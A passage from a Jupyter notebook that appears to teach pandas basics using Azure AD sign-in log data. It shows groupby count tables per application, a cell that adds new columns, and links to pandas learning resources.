       "Microsoft Azure PowerShell                                         1   \n",
       "Microsoft Azure Purview Studio                                    75   \n",
       "Microsoft Cloud App Security                                       5   \n",
       "Microsoft Docs                                                    10   \n",
       "Microsoft Edge                                                     2   \n",
       "Microsoft Invitation Acceptance Portal                             2   \n",
       "Microsoft Office 365 Portal                                        2   \n",
       "Microsoft Power BI                                                 2   \n",
       "Microsoft Stream Portal                                            2   \n",
       "My Apps                                                            1   \n",
       "My Profile                                                         6   \n",
       "O365 Suite UX                                                      1   \n",
       "Office 365 SharePoint Online                                      11   \n",
       "Office365 Shell WCSS-Client                                       57   \n",
       "WindowsDefenderATP Portal                                          2   \n",
       "\n",
       "                                                       ResourceProvider  \\\n",
       "AppDisplayName                                                            \n",
       "                                                                      1   \n",
       "ACOM Azure Website                                                    3   \n",
       "App Service                                                           3   \n",
       "Azure AD Identity Governance - Entitlement Management                 1   \n",
       "Azure Active Directory PowerShell                                     8   \n",
       "Azure Advanced Threat Protection                                     19   \n",
       "Azure DevOps                                                          7   \n",
       "Azure Machine Learning Workbench Web App                              2   \n",
       "Azure Portal                                                        884   \n",
       "Azure Synapse Studio                                                  2   \n",
       "Intranet                                                              1   \n",
       "Microsoft 365 Security and Compliance Center                         32   \n",
       "Microsoft App Access Panel                                            5   \n",
       "Microsoft Azure Active Directory Connect                            985   \n",
       "Microsoft Azure CLI                                                   4   \n",
       "Microsoft Azure PowerShell                                            1   \n",
       "Microsoft Azure Purview Studio                                       75   \n",
       "Microsoft Cloud App Security                                          5   \n",
       "Microsoft Docs                                                       10   \n",
       "Microsoft Edge                                                        2   \n",
       "Microsoft Invitation Acceptance Portal                                2   \n",
       "Microsoft Office 365 Portal                                           2   \n",
       "Microsoft Power BI                                                    2   \n",
       "Microsoft Stream Portal                                               2   \n",
       "My Apps                                                               1   \n",
       "My Profile                                                            6   \n",
       "O365 Suite UX                                                         1   \n",
       "Office 365 SharePoint Online                                         11   \n",
       "Office365 Shell WCSS-Client                                          57   \n",
       "WindowsDefenderATP Portal                                             2   \n",
       "\n",
       "                                                       Identity  Level  \\\n",
       "AppDisplayName                                                           \n",
       "                                                              1      1   \n",
       "ACOM Azure Website                                            3      3   \n",
       "App Service                                                   3      3   \n",
       "Azure AD Identity Governance - Entitlement Management         1      1   \n",
       "Azure Active Directory PowerShell                             8      8   \n",
       "Azure Advanced Threat Protection                             19     19   \n",
       "Azure DevOps                                                  7      7   \n",
       "Azure Machine Learning Workbench Web App                      2      2   \n",
       "Azure Portal                                                884    884   \n",
       "Azure Synapse Studio                                          2      2   \n",
       "Intranet                                                      1      1   \n",
       "Microsoft 365 Security and Compliance Center                 32     32   \n",
       "Microsoft App Access Panel                                    5      5   \n",
       "Microsoft Azure Active Directory Connect                    985    985   \n",
       "Microsoft Azure CLI                                           4      4   \n",
       "Microsoft Azure PowerShell                                    1      1   \n",
       "Microsoft Azure Purview Studio                               75     75   \n",
       "Microsoft Cloud App Security                                  5      5   \n",
       "Microsoft Docs                                               10     10   \n",
       "Microsoft Edge                                                2      2   \n",
       "Microsoft Invitation Acceptance Portal                        2      2   \n",
       "Microsoft Office 365 Portal                                   2      2   \n",
       "Microsoft Power BI                                            2      2   \n",
       "Microsoft Stream Portal                                       2      2   \n",
       "My Apps                                                       1      1   \n",
       "My Profile                                                    6      6   \n",
       "O365 Suite UX                                                 1      1   \n",
       "Office 365 SharePoint Online                                 11     11   \n",
       "Office365 Shell WCSS-Client                                  57     57   \n",
       "WindowsDefenderATP Portal                                     2      2   \n",
       "\n",
       "                                                       Location  \\\n",
       "AppDisplayName                                                    \n",
       "                                                              1   \n",
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       "Azure Portal                                                884   \n",
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       "Microsoft Docs                                               10   \n",
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       "Office 365 SharePoint Online                                 11   \n",
       "Office365 Shell WCSS-Client                                  57   \n",
       "WindowsDefenderATP Portal                                     2   \n",
       "\n",
       "                                                       AlternateSignInName  \\\n",
       "AppDisplayName                                                               \n",
       "                                                                         1   \n",
       "ACOM Azure Website                                                       3   \n",
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       "Azure Portal                                                           884   \n",
       "Azure Synapse Studio                                                     2   \n",
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       "Microsoft Docs                                                          10   \n",
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       "My Profile                                                               6   \n",
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       "Office 365 SharePoint Online                                            11   \n",
       "Office365 Shell WCSS-Client                                             57   \n",
       "WindowsDefenderATP Portal                                                2   \n",
       "\n",
       "                                                       AppId  \\\n",
       "AppDisplayName                                                 \n",
       "                                                           1   \n",
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       "Microsoft Docs                                            10   \n",
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       "My Apps                                                    1   \n",
       "My Profile                                                 6   \n",
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       "Office365 Shell WCSS-Client                               57   \n",
       "WindowsDefenderATP Portal                                  2   \n",
       "\n",
       "                                                       AuthenticationDetails  \\\n",
       "AppDisplayName                                                                 \n",
       "                                                                           1   \n",
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       "Azure Active Directory PowerShell                                          8   \n",
       "Azure Advanced Threat Protection                                          19   \n",
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       "Azure Portal                                                             884   \n",
       "Azure Synapse Studio                                                       2   \n",
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       "Microsoft App Access Panel                                                 5   \n",
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       "Microsoft Azure CLI                                                        4   \n",
       "Microsoft Azure PowerShell                                                 1   \n",
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       "Microsoft Edge                                                             2   \n",
       "Microsoft Invitation Acceptance Portal                                     2   \n",
       "Microsoft Office 365 Portal                                                2   \n",
       "Microsoft Power BI                                                         2   \n",
       "Microsoft Stream Portal                                                    2   \n",
       "My Apps                                                                    1   \n",
       "My Profile                                                                 6   \n",
       "O365 Suite UX                                                              1   \n",
       "Office 365 SharePoint Online                                              11   \n",
       "Office365 Shell WCSS-Client                                               57   \n",
       "WindowsDefenderATP Portal                                                  2   \n",
       "\n",
       "                                                       AuthenticationMethodsUsed  \\\n",
       "AppDisplayName                                                                     \n",
       "                                                                               1   \n",
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       "Azure Active Directory PowerShell                                              8   \n",
       "Azure Advanced Threat Protection                                              19   \n",
       "Azure DevOps                                                                   7   \n",
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       "Azure Portal                                                                 884   \n",
       "Azure Synapse Studio                                                           2   \n",
       "Intranet                                                                       1   \n",
       "Microsoft 365 Security and Compliance Center                                  32   \n",
       "Microsoft App Access Panel                                                     5   \n",
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       "Microsoft Azure CLI                                                            4   \n",
       "Microsoft Azure PowerShell                                                     1   \n",
       "Microsoft Azure Purview Studio                                                75   \n",
       "Microsoft Cloud App Security                                                   5   \n",
       "Microsoft Docs                                                                10   \n",
       "Microsoft Edge                                                                 2   \n",
       "Microsoft Invitation Acceptance Portal                                         2   \n",
       "Microsoft Office 365 Portal                                                    2   \n",
       "Microsoft Power BI                                                             2   \n",
       "Microsoft Stream Portal                                                        2   \n",
       "My Apps                                                                        1   \n",
       "My Profile                                                                     6   \n",
       "O365 Suite UX                                                                  1   \n",
       "Office 365 SharePoint Online                                                  11   \n",
       "Office365 Shell WCSS-Client                                                   57   \n",
       "WindowsDefenderATP Portal                                                      2   \n",
       "\n",
       "                                                       AuthenticationProcessingDetails  \\\n",
       "AppDisplayName                                                                           \n",
       "                                                                                     1   \n",
       "ACOM Azure Website                                                                   3   \n",
       "App Service                                                                          3   \n",
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       "Azure Active Directory PowerShell                                                    8   \n",
       "Azure Advanced Threat Protection                                                    19   \n",
       "Azure DevOps                                                                         7   \n",
       "Azure Machine Learning Workbench Web App                                             2   \n",
       "Azure Portal                                                                       884   \n",
       "Azure Synapse Studio                                                                 2   \n",
       "Intranet                                                                             1   \n",
       "Microsoft 365 Security and Compliance Center                                        32   \n",
       "Microsoft App Access Panel                                                           5   \n",
       "Microsoft Azure Active Directory Connect                                           985   \n",
       "Microsoft Azure CLI                                                                  4   \n",
       "Microsoft Azure PowerShell                                                           1   \n",
       "Microsoft Azure Purview Studio                                                      75   \n",
       "Microsoft Cloud App Security                                                         5   \n",
       "Microsoft Docs                                                                      10   \n",
       "Microsoft Edge                                                                       2   \n",
       "Microsoft Invitation Acceptance Portal                                               2   \n",
       "Microsoft Office 365 Portal                                                          2   \n",
       "Microsoft Power BI                                                                   2   \n",
       "Microsoft Stream Portal                                                              2   \n",
       "My Apps                                                                              1   \n",
       "My Profile                                                                           6   \n",
       "O365 Suite UX                                                                        1   \n",
       "Office 365 SharePoint Online                                                        11   \n",
       "Office365 Shell WCSS-Client                                                         57   \n",
       "WindowsDefenderATP Portal                                                            2   \n",
       "\n",
       "                                                       AuthenticationRequirement  \\\n",
       "AppDisplayName                                                                     \n",
       "                                                                               1   \n",
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       "Azure Active Directory PowerShell                                              8   \n",
       "Azure Advanced Threat Protection                                              19   \n",
       "Azure DevOps                                                                   7   \n",
       "Azure Machine Learning Workbench Web App                                       2   \n",
       "Azure Portal                                                                 884   \n",
       "Azure Synapse Studio                                                           2   \n",
       "Intranet                                                                       1   \n",
       "Microsoft 365 Security and Compliance Center                                  32   \n",
       "Microsoft App Access Panel                                                     5   \n",
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       "Microsoft Azure CLI                                                            4   \n",
       "Microsoft Azure PowerShell                                                     1   \n",
       "Microsoft Azure Purview Studio                                                75   \n",
       "Microsoft Cloud App Security                                                   5   \n",
       "Microsoft Docs                                                                10   \n",
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       "Microsoft Invitation Acceptance Portal                                         2   \n",
       "Microsoft Office 365 Portal                                                    2   \n",
       "Microsoft Power BI                                                             2   \n",
       "Microsoft Stream Portal                                                        2   \n",
       "My Apps                                                                        1   \n",
       "My Profile                                                                     6   \n",
       "O365 Suite UX                                                                  1   \n",
       "Office 365 SharePoint Online                                                  11   \n",
       "Office365 Shell WCSS-Client                                                   57   \n",
       "WindowsDefenderATP Portal                                                      2   \n",
       "\n",
       "                                                       AuthenticationRequirementPolicies  \\\n",
       "AppDisplayName                                                                             \n",
       "                                                                                       1   \n",
       "ACOM Azure Website                                                                     3   \n",
       "App Service                                                                            3   \n",
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       "Azure Active Directory PowerShell                                                      8   \n",
       "Azure Advanced Threat Protection                                                      19   \n",
       "Azure DevOps                                                                           7   \n",
       "Azure Machine Learning Workbench Web App                                               2   \n",
       "Azure Portal                                                                         884   \n",
       "Azure Synapse Studio                                                                   2   \n",
       "Intranet                                                                               1   \n",
       "Microsoft 365 Security and Compliance Center                                          32   \n",
       "Microsoft App Access Panel                                                             5   \n",
       "Microsoft Azure Active Directory Connect                                             985   \n",
       "Microsoft Azure CLI                                                                    4   \n",
       "Microsoft Azure PowerShell                                                             1   \n",
       "Microsoft Azure Purview Studio                                                        75   \n",
       "Microsoft Cloud App Security                                                           5   \n",
       "Microsoft Docs                                                                        10   \n",
       "Microsoft Edge                                                                         2   \n",
       "Microsoft Invitation Acceptance Portal                                                 2   \n",
       "Microsoft Office 365 Portal                                                            2   \n",
       "Microsoft Power BI                                                                     2   \n",
       "Microsoft Stream Portal                                                                2   \n",
       "My Apps                                                                                1   \n",
       "My Profile                                                                             6   \n",
       "O365 Suite UX                                                                          1   \n",
       "Office 365 SharePoint Online                                                          11   \n",
       "Office365 Shell WCSS-Client                                                           57   \n",
       "WindowsDefenderATP Portal                                                              2   \n",
       "\n",
       "                                                       ...  \\\n",
       "AppDisplayName                                         ...   \n",
       "                                                       ...   \n",
       "ACOM Azure Website                                     ...   \n",
       "App Service                                            ...   \n",
       "Azure AD Identity Governance - Entitlement Management  ...   \n",
       "Azure Active Directory PowerShell                      ...   \n",
       "Azure Advanced Threat Protection                       ...   \n",
       "Azure DevOps                                           ...   \n",
       "Azure Machine Learning Workbench Web App               ...   \n",
       "Azure Portal                                           ...   \n",
       "Azure Synapse Studio                                   ...   \n",
       "Intranet                                               ...   \n",
       "Microsoft 365 Security and Compliance Center           ...   \n",
       "Microsoft App Access Panel                             ...   \n",
       "Microsoft Azure Active Directory Connect               ...   \n",
       "Microsoft Azure CLI                                    ...   \n",
       "Microsoft Azure PowerShell                             ...   \n",
       "Microsoft Azure Purview Studio                         ...   \n",
       "Microsoft Cloud App Security                           ...   \n",
       "Microsoft Docs                                         ...   \n",
       "Microsoft Edge                                         ...   \n",
       "Microsoft Invitation Acceptance Portal                 ...   \n",
       "Microsoft Office 365 Portal                            ...   \n",
       "Microsoft Power BI                                     ...   \n",
       "Microsoft Stream Portal                                ...   \n",
       "My Apps                                                ...   \n",
       "My Profile                                             ...   \n",
       "O365 Suite UX                                          ...   \n",
       "Office 365 SharePoint Online                           ...   \n",
       "Office365 Shell WCSS-Client                            ...   \n",
       "WindowsDefenderATP Portal                              ...   \n",
       "\n",
       "                                                       RiskLevelDuringSignIn  \\\n",
       "AppDisplayName                                                                 \n",
       "                                                                           1   \n",
       "ACOM Azure Website                                                         3   \n",
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       "Azure Active Directory PowerShell                                          8   \n",
       "Azure Advanced Threat Protection                                          19   \n",
       "Azure DevOps                                                               7   \n",
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       "Azure Portal                                                             884   \n",
       "Azure Synapse Studio                                                       2   \n",
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       "Microsoft 365 Security and Compliance Center                              32   \n",
       "Microsoft App Access Panel                                                 5   \n",
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       "Microsoft Azure CLI                                                        4   \n",
       "Microsoft Azure PowerShell                                                 1   \n",
       "Microsoft Azure Purview Studio                                            75   \n",
       "Microsoft Cloud App Security                                               5   \n",
       "Microsoft Docs                                                            10   \n",
       "Microsoft Edge                                                             2   \n",
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       "Microsoft Power BI                                                         2   \n",
       "Microsoft Stream Portal                                                    2   \n",
       "My Apps                                                                    1   \n",
       "My Profile                                                                 6   \n",
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       "Office 365 SharePoint Online                                              11   \n",
       "Office365 Shell WCSS-Client                                               57   \n",
       "WindowsDefenderATP Portal                                                  2   \n",
       "\n",
       "                                                       RiskState  \\\n",
       "AppDisplayName                                                     \n",
       "                                                               1   \n",
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       "Azure Portal                                                 884   \n",
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       "Office 365 SharePoint Online                                  11   \n",
       "Office365 Shell WCSS-Client                                   57   \n",
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       "\n",
       "                                                       ResourceDisplayName  \\\n",
       "AppDisplayName                                                               \n",
       "                                                                         1   \n",
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       "Azure Portal                                                           884   \n",
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       "Microsoft Docs                                                          10   \n",
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       "My Apps                                                                  1   \n",
       "My Profile                                                               6   \n",
       "O365 Suite UX                                                            1   \n",
       "Office 365 SharePoint Online                                            11   \n",
       "Office365 Shell WCSS-Client                                             57   \n",
       "WindowsDefenderATP Portal                                                2   \n",
       "\n",
       "                                                       ResourceIdentity  \\\n",
       "AppDisplayName                                                            \n",
       "                                                                      1   \n",
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       "Azure Portal                                                        884   \n",
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       "Microsoft Docs                                                       10   \n",
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       "My Apps                                                               1   \n",
       "My Profile                                                            6   \n",
       "O365 Suite UX                                                         1   \n",
       "Office 365 SharePoint Online                                         11   \n",
       "Office365 Shell WCSS-Client                                          57   \n",
       "WindowsDefenderATP Portal                                             2   \n",
       "\n",
       "                                                       ServicePrincipalId  \\\n",
       "AppDisplayName                                                              \n",
       "                                                                        1   \n",
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       "Azure Portal                                                          884   \n",
       "Azure Synapse Studio                                                    2   \n",
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       "Microsoft Docs                                                         10   \n",
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       "Microsoft Power BI                                                      2   \n",
       "Microsoft Stream Portal                                                 2   \n",
       "My Apps                                                                 1   \n",
       "My Profile                                                              6   \n",
       "O365 Suite UX                                                           1   \n",
       "Office 365 SharePoint Online                                           11   \n",
       "Office365 Shell WCSS-Client                                            57   \n",
       "WindowsDefenderATP Portal                                               2   \n",
       "\n",
       "                                                       ServicePrincipalName  \\\n",
       "AppDisplayName                                                                \n",
       "                                                                          1   \n",
       "ACOM Azure Website                                                        3   \n",
       "App Service                                                               3   \n",
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       "Azure Active Directory PowerShell                                         8   \n",
       "Azure Advanced Threat Protection                                         19   \n",
       "Azure DevOps                                                              7   \n",
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       "Azure Portal                                                            884   \n",
       "Azure Synapse Studio                                                      2   \n",
       "Intranet                                                                  1   \n",
       "Microsoft 365 Security and Compliance Center                             32   \n",
       "Microsoft App Access Panel                                                5   \n",
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       "Microsoft Azure CLI                                                       4   \n",
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       "Microsoft Azure Purview Studio                                           75   \n",
       "Microsoft Cloud App Security                                              5   \n",
       "Microsoft Docs                                                           10   \n",
       "Microsoft Edge                                                            2   \n",
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       "Microsoft Office 365 Portal                                               2   \n",
       "Microsoft Power BI                                                        2   \n",
       "Microsoft Stream Portal                                                   2   \n",
       "My Apps                                                                   1   \n",
       "My Profile                                                                6   \n",
       "O365 Suite UX                                                             1   \n",
       "Office 365 SharePoint Online                                             11   \n",
       "Office365 Shell WCSS-Client                                              57   \n",
       "WindowsDefenderATP Portal                                                 2   \n",
       "\n",
       "                                                       Status  \\\n",
       "AppDisplayName                                                  \n",
       "                                                            1   \n",
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       "Microsoft Docs                                             10   \n",
       "Microsoft Edge                                              2   \n",
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       "Microsoft Office 365 Portal                                 2   \n",
       "Microsoft Power BI                                          2   \n",
       "Microsoft Stream Portal                                     2   \n",
       "My Apps                                                     1   \n",
       "My Profile                                                  6   \n",
       "O365 Suite UX                                               1   \n",
       "Office 365 SharePoint Online                               11   \n",
       "Office365 Shell WCSS-Client                                57   \n",
       "WindowsDefenderATP Portal                                   2   \n",
       "\n",
       "                                                       TokenIssuerName  \\\n",
       "AppDisplayName                                                           \n",
       "                                                                     1   \n",
       "ACOM Azure Website                                                   3   \n",
       "App Service                                                          3   \n",
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       "Azure Active Directory PowerShell                                    8   \n",
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       "\n",
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       "\n",
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       "\n",
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       "                                                               1  \n",
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       "      <th>Azure Advanced Threat Protection</th>\n",
       "      <td>19</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Azure DevOps</th>\n",
       "      <td>7</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Azure Machine Learning Workbench Web App</th>\n",
       "      <td>2</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Azure Portal</th>\n",
       "      <td>884</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Azure Synapse Studio</th>\n",
       "      <td>2</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Intranet</th>\n",
       "      <td>1</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Microsoft 365 Security and Compliance Center</th>\n",
       "      <td>32</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Microsoft App Access Panel</th>\n",
       "      <td>5</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Microsoft Azure Active Directory Connect</th>\n",
       "      <td>985</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Microsoft Azure CLI</th>\n",
       "      <td>4</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Microsoft Azure PowerShell</th>\n",
       "      <td>1</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Microsoft Azure Purview Studio</th>\n",
       "      <td>75</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Microsoft Cloud App Security</th>\n",
       "      <td>5</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Microsoft Docs</th>\n",
       "      <td>10</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Microsoft Edge</th>\n",
       "      <td>2</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Microsoft Invitation Acceptance Portal</th>\n",
       "      <td>2</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Microsoft Office 365 Portal</th>\n",
       "      <td>2</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Microsoft Power BI</th>\n",
       "      <td>2</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Microsoft Stream Portal</th>\n",
       "      <td>2</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>My Apps</th>\n",
       "      <td>1</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>My Profile</th>\n",
       "      <td>6</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>O365 Suite UX</th>\n",
       "      <td>1</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Office 365 SharePoint Online</th>\n",
       "      <td>11</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Office365 Shell WCSS-Client</th>\n",
       "      <td>57</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>WindowsDefenderATP Portal</th>\n",
       "      <td>2</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                                                       AppCount\n",
       "AppDisplayName                                                 \n",
       "                                                              1\n",
       "ACOM Azure Website                                            3\n",
       "App Service                                                   3\n",
       "Azure AD Identity Governance - Entitlement Management         1\n",
       "Azure Active Directory PowerShell                             8\n",
       "Azure Advanced Threat Protection                             19\n",
       "Azure DevOps                                                  7\n",
       "Azure Machine Learning Workbench Web App                      2\n",
       "Azure Portal                                                884\n",
       "Azure Synapse Studio                                          2\n",
       "Intranet                                                      1\n",
       "Microsoft 365 Security and Compliance Center                 32\n",
       "Microsoft App Access Panel                                    5\n",
       "Microsoft Azure Active Directory Connect                    985\n",
       "Microsoft Azure CLI                                           4\n",
       "Microsoft Azure PowerShell                                    1\n",
       "Microsoft Azure Purview Studio                               75\n",
       "Microsoft Cloud App Security                                  5\n",
       "Microsoft Docs                                               10\n",
       "Microsoft Edge                                                2\n",
       "Microsoft Invitation Acceptance Portal                        2\n",
       "Microsoft Office 365 Portal                                   2\n",
       "Microsoft Power BI                                            2\n",
       "Microsoft Stream Portal                                       2\n",
       "My Apps                                                       1\n",
       "My Profile                                                    6\n",
       "O365 Suite UX                                                 1\n",
       "Office 365 SharePoint Online                                 11\n",
       "Office365 Shell WCSS-Client                                  57\n",
       "WindowsDefenderATP Portal                                     2"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "# The basic groupby syntax counts all of columns other than the group column\r\n",
    "display(data.groupby(\"AppDisplayName\").count().head())\r\n",
    "\r\n",
    "# Selecting a subset of the columns and renaming gives a more readable output.\r\n",
    "display(\r\n",
    "    data[[\"AppDisplayName\", \"TimeGenerated\"]]\r\n",
    "    .groupby(\"AppDisplayName\")\r\n",
    "    .count()\r\n",
    "    .rename(columns={\"TimeGenerated\": \"AppCount\"})\r\n",
    "    .head()\r\n",
    ")\r\n",
    "\r\n",
    "# Note: you can surround dataframe chained operations (as in the previous example)\r\n",
    "# with parentheses to split them into a more readable format."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Our DataFrame call also be extended to add new columns with additional data if required.\r\n",
    "The new column data can be static or calculated data as show in these examples."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 48,
   "metadata": {},
   "outputs": [
    {
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       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>TenantId</th>\n",
       "      <th>AppDisplayName</th>\n",
       "      <th>TimeGenerated</th>\n",
       "      <th>NewCol</th>\n",
       "      <th>Plus1Hr</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Microsoft Azure Active Directory Connect</td>\n",
       "      <td>2021-06-28 10:55:21.648000+00:00</td>\n",
       "      <td>Look at my new data!</td>\n",
       "      <td>2021-06-29 10:55:21.648000+00:00</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Microsoft Azure Active Directory Connect</td>\n",
       "      <td>2021-06-28 10:55:26.252000+00:00</td>\n",
       "      <td>Look at my new data!</td>\n",
       "      <td>2021-06-29 10:55:26.252000+00:00</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>2021-06-28 11:36:15.896000+00:00</td>\n",
       "      <td>Look at my new data!</td>\n",
       "      <td>2021-06-29 11:36:15.896000+00:00</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>2021-06-28 12:24:50.274000+00:00</td>\n",
       "      <td>Look at my new data!</td>\n",
       "      <td>2021-06-29 12:24:50.274000+00:00</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>2021-06-28 12:24:44.957000+00:00</td>\n",
       "      <td>Look at my new data!</td>\n",
       "      <td>2021-06-29 12:24:44.957000+00:00</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                               TenantId  \\\n",
       "0  8ecf8077-cf51-4820-aadd-14040956f35d   \n",
       "1  8ecf8077-cf51-4820-aadd-14040956f35d   \n",
       "2  8ecf8077-cf51-4820-aadd-14040956f35d   \n",
       "3  8ecf8077-cf51-4820-aadd-14040956f35d   \n",
       "4  8ecf8077-cf51-4820-aadd-14040956f35d   \n",
       "\n",
       "                             AppDisplayName                    TimeGenerated  \\\n",
       "0  Microsoft Azure Active Directory Connect 2021-06-28 10:55:21.648000+00:00   \n",
       "1  Microsoft Azure Active Directory Connect 2021-06-28 10:55:26.252000+00:00   \n",
       "2                              Azure Portal 2021-06-28 11:36:15.896000+00:00   \n",
       "3                              Azure Portal 2021-06-28 12:24:50.274000+00:00   \n",
       "4                              Azure Portal 2021-06-28 12:24:44.957000+00:00   \n",
       "\n",
       "                 NewCol                          Plus1Hr  \n",
       "0  Look at my new data! 2021-06-29 10:55:21.648000+00:00  \n",
       "1  Look at my new data! 2021-06-29 10:55:26.252000+00:00  \n",
       "2  Look at my new data! 2021-06-29 11:36:15.896000+00:00  \n",
       "3  Look at my new data! 2021-06-29 12:24:50.274000+00:00  \n",
       "4  Look at my new data! 2021-06-29 12:24:44.957000+00:00  "
      ]
     },
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   ],
   "source": [
    "data_mod = data.copy()\r\n",
    "data_mod[\"NewCol\"] = \"Look at my new data!\"  # Add the same string to every row in this column\r\n",
    "data_mod[\"Plus1Hr\"] = data_mod[\"TimeGenerated\"] + pd.Timedelta(\"1d\")  # Calculated column (add 1 day to date)\r\n",
    "display(data_mod[[\"TenantId\",\"AppDisplayName\", \"TimeGenerated\", \"NewCol\", \"Plus1Hr\"]].head(5))"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Learn more:\r\n",
    "There is a lot more you can do with Pandas, the links below provide some useful resources:\r\n",
    " - [Getting starting with Pandas](https://pandas.pydata.org/pandas-docs/stable/getting_started/index.html)\r\n",
    " - [Infosec Jupyerbook intro to Pandas](https://infosecjupyterbook.com/notebooks/tutorials/03_intro_to_pandas.html)\r\n",
    " - [A great list of Pandas hints and tricks](https://www.dataschool.io/python-pandas-tips-and-tricks/)"
   ]
  }
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